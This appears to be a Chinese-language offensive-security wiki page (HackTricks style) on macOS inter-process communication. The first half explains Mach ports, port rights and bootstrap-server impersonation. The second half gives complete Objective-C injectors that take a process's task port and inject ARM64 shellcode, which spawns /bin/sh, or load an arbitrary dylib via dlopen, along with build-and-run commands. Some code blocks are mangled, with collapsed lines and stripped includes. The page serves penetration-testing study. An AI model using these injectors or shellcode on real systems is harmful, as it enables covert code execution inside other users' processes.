macOS IPC - 进程间通信
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Mach 消息通过端口
基本信息
Mach 使用 任务 作为共享资源的 最小单位,每个任务可以包含 多个线程。这些 任务和线程与 POSIX 进程和线程 1:1 映射。
任务之间的通信通过 Mach 进程间通信 (IPC) 进行,利用单向通信通道。消息在端口之间传输,端口像是由内核管理的 消息队列。
每个进程都有一个 IPC 表,可以在其中找到 进程的 mach 端口。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
一个进程还可以将一个端口名称和一些权限 发送给不同的任务,内核会在 另一个任务的 IPC 表 中显示这个条目。
端口权限
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 端口权限 是(定义来自这里):
- 接收权限,允许接收发送到端口的消息。Mach 端口是 MPSC(多个生产者,单个消费者)队列,这意味着在整个系统中每个端口只能有 一个接收权限(与管道不同,多个进程可以持有一个管道的读端文件描述符)。
- 拥有 接收权限 的 任务 可以接收消息并 创建发送权限,允许其发送消息。最初只有 自己的任务对其端口拥有接收权限。
- 发送权限,允许向端口发送消息。
- 发送权限可以被 克隆,因此拥有发送权限的任务可以克隆该权限并 授予给第三个任务。
- 一次性发送权限,允许向端口发送一条消息,然后消失。
- 端口集权限,表示一个 端口集 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用于同时监听多个端口,类似于 Unix 中的
select
/poll
/epoll
/kqueue
。 - 死名称,这不是一个实际的端口权限,而仅仅是一个占位符。当一个端口被销毁时,所有现有的对该端口的端口权限变成死名称。
任务可以将发送权限转移给其他任务,使其能够发送消息。发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务。这与一个称为 引导服务器 的中介进程结合,使任务之间的有效通信成为可能。
文件端口
文件端口允许在 Mac 端口中封装文件描述符(使用 Mach 端口权限)。可以使用 fileport_makeport
从给定的 FD 创建一个 fileport
,并使用 fileport_makefd
从 fileport 创建一个 FD。
建立通信
步骤:
如前所述,为了建立通信通道,引导服务器(在 mac 中为 launchd)参与其中。
- 任务 A 发起一个 新端口,在此过程中获得 接收权限。
- 任务 A,作为接收权限的持有者,为该端口生成一个发送权限。
- 任务 A 与 引导服务器 建立 连接,提供 端口的服务名称 和 发送权限,通过称为引导注册的过程。
- 任务 B 与 引导服务器 交互以执行服务名称的引导 查找。如果成功,服务器复制从任务 A 接收到的发送权限 并 将其传输给任务 B。
- 在获得发送权限后,任务 B 能够 构造 一条 消息 并将其 发送给任务 A。
- 对于双向通信,通常任务 B 生成一个带有 接收 权限和 发送 权限的新端口,并将 发送权限授予任务 A,以便其可以向任务 B 发送消息(双向通信)。
引导服务器 无法验证 任务声称的服务名称。这意味着一个 任务 可能会 冒充任何系统任务,例如虚假 声称一个授权服务名称,然后批准每个请求。
然后,Apple 将 系统提供的服务名称 存储在安全配置文件中,位于 SIP 保护 目录:/System/Library/LaunchDaemons
和 /System/Library/LaunchAgents
。每个服务名称旁边,相关的二进制文件也被存储。引导服务器将为每个这些服务名称创建并持有 接收权限。
对于这些预定义服务,查找过程略有不同。当查找服务名称时,launchd 动态启动该服务。新的工作流程如下:
- 任务 B 发起对服务名称的引导 查找。
- launchd 检查任务是否正在运行,如果没有,则 启动 它。
- 任务 A(服务)执行 引导检查。在这里,引导 服务器创建一个发送权限,保留它,并 将接收权限转移给任务 A。
- launchd 复制 发送权限并将其发送给任务 B。
- 任务 B 生成一个带有 接收 权限和 发送 权限的新端口,并将 发送权限授予任务 A(服务),以便其可以向任务 B 发送消息(双向通信)。
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初描述的方式操作,这可能会允许冒充。
一个 Mach 消息
mach_msg
函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 mach_msg_header_t
结构开始,后面是实际的消息内容。该结构定义如下:
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
拥有 接收权 的进程可以在 Mach 端口上接收消息。相反,发送者 被授予 发送 或 一次性发送权。一次性发送权仅用于发送单个消息,之后它将失效。
为了实现简单的 双向通信,进程可以在名为 reply port (msgh_local_port
) 的 mach 消息头中指定一个 mach 端口,接收该消息的 接收者 可以 回复 此消息。msgh_bits
中的位标志可以用来 指示 应该为此端口派生并转移一个 一次性发送 权(MACH_MSG_TYPE_MAKE_SEND_ONCE
)。
Tip
请注意,这种双向通信用于期望回复的 XPC 消息(
xpc_connection_send_message_with_reply
和xpc_connection_send_message_with_reply_sync
)。但 通常会创建不同的端口,如前所述,以创建双向通信。
消息头的其他字段包括:
msgh_size
: 整个数据包的大小。msgh_remote_port
: 发送此消息的端口。msgh_voucher_port
: mach vouchers。msgh_id
: 此消息的 ID,由接收者解释。
Caution
请注意 mach 消息是通过 _mach port_ 发送的,这是一个内置于 mach 内核的 单接收者、多个发送者 的通信通道。多个进程 可以 向 mach 端口发送消息,但在任何时候只有 一个进程可以从中读取。
枚举端口
lsmp -p <pid>
您可以通过从 http://newosxbook.com/tools/binpack64-256.tar.gz 下载此工具来安装它在 iOS 上。
代码示例
注意 发送者 如何 分配 一个端口,为名称 org.darlinghq.example
创建一个 发送权限 并将其发送到 引导服务器,同时发送者请求该名称的 发送权限 并使用它来 发送消息。
{{#tabs}} {{#tab name="receiver.c"}}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
{{#endtab}}
{{#tab name="sender.c"}}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
{{#endtab}} {{#endtabs}}
特权端口
- 主机端口:如果一个进程对这个端口具有 发送 权限,他可以获取 系统 的 信息(例如
host_processor_info
)。 - 主机特权端口:一个对这个端口具有 发送 权限的进程可以执行 特权操作,如加载内核扩展。进程需要是 root 才能获得此权限。
- 此外,为了调用
kext_request
API,需要拥有其他权利com.apple.private.kext*
,这些权利仅授予 Apple 的二进制文件。 - 任务名称端口:任务端口 的一个非特权版本。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是
task_info()
。 - 任务端口(又名内核端口):对这个端口具有发送权限可以控制任务(读/写内存,创建线程...)。
- 调用
mach_task_self()
来 获取 调用任务的端口名称。此端口仅在exec()
之间 继承;通过fork()
创建的新任务会获得一个新的任务端口(作为特例,任务在 suid 二进制文件中exec()
后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行fork()
时进行 "端口交换舞"。 - 访问端口的限制(来自二进制文件
AppleMobileFileIntegrity
的macos_task_policy
): - 如果应用具有
com.apple.security.get-task-allow
权限,来自 同一用户 的进程可以访问任务端口(通常由 Xcode 为调试添加)。公证 过程不允许其用于生产版本。 - 具有
com.apple.system-task-ports
权限的应用可以获取 任何 进程的 任务端口,除了内核。在旧版本中称为task_for_pid-allow
。这仅授予 Apple 应用。 - Root 可以访问未 使用 加固 运行时编译的应用程序的任务端口(且不是来自 Apple)。
通过任务端口在线程中注入 Shellcode
您可以从以下位置获取 shellcode:
{{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}
{{#tabs}} {{#tab name="mysleep.m"}}
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
{{#endtab}}
{{#tab name="entitlements.plist"}}
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
{{#endtab}} {{#endtabs}}
编译之前的程序并添加权限以便能够以相同用户注入代码(如果没有,您将需要使用sudo)。
sc_injector.m
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>
#ifdef arm64
kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }
return (0); }
pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue]; }
BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }
NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }
inject(pid); }
return 0; }
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
通过任务端口在线程中注入Dylib
在macOS中,线程可以通过Mach或使用posix pthread
api进行操作。我们在之前的注入中生成的线程是使用Mach api生成的,因此它不符合posix标准。
能够注入一个简单的shellcode来执行命令是因为它不需要与posix兼容的api,只需与Mach兼容。更复杂的注入将需要线程也符合posix标准。
因此,为了改进线程,它应该调用**pthread_create_from_mach_thread
,这将创建一个有效的pthread**。然后,这个新的pthread可以调用dlopen来从系统加载一个dylib,因此不必编写新的shellcode来执行不同的操作,而是可以加载自定义库。
您可以在以下位置找到示例dylibs(例如,生成日志的那个,然后您可以监听它):
{{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md {{#endref}}
dylib_injector.m
```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>#include <sys/stat.h> #include <pthread.h>
#ifdef arm64 //#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask; struct stat buf;
// Check if the library exists int rc = stat (lib, &buf);
if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Patch shellcode
int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {
// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); }
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) { printf ("DLOpen @%llx\n", addrOfDlopen); memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); }
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) { strcpy(possiblePatchLocation, lib ); } }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }
return (0); }
int main(int argc, const char * argv[]) { if (argc < 3) { fprintf (stderr, "Usage: %s pid action\n", argv[0]); fprintf (stderr, " action: path to a dylib on disk\n"); exit(0); }
pid_t pid = atoi(argv[1]); const char *action = argv[2]; struct stat buf;
int rc = stat (action, &buf); if (rc == 0) inject(pid,action); else { fprintf(stderr,"Dylib not found\n"); }
}
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
通过任务端口的线程劫持
在此技术中,进程的一个线程被劫持:
{{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md {{#endref}}
XPC
基本信息
XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 macOS 和 iOS 上进程之间通信 的框架。XPC 提供了一种机制,用于在系统上进行 安全的、异步的方法调用。它是苹果安全范式的一部分,允许 创建特权分离的应用程序,每个 组件 仅以 执行其工作所需的权限 运行,从而限制被攻陷进程可能造成的损害。
有关此 通信如何工作 以及 可能存在的漏洞 的更多信息,请查看:
{{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}}
MIG - Mach 接口生成器
MIG 的创建旨在 简化 Mach IPC 代码的生成过程。它基本上 生成所需的代码 以便服务器和客户端根据给定定义进行通信。即使生成的代码不美观,开发人员只需导入它,其代码将比之前简单得多。
有关更多信息,请查看:
{{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}}
参考文献
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
{{#include ../../../../banners/hacktricks-training.md}}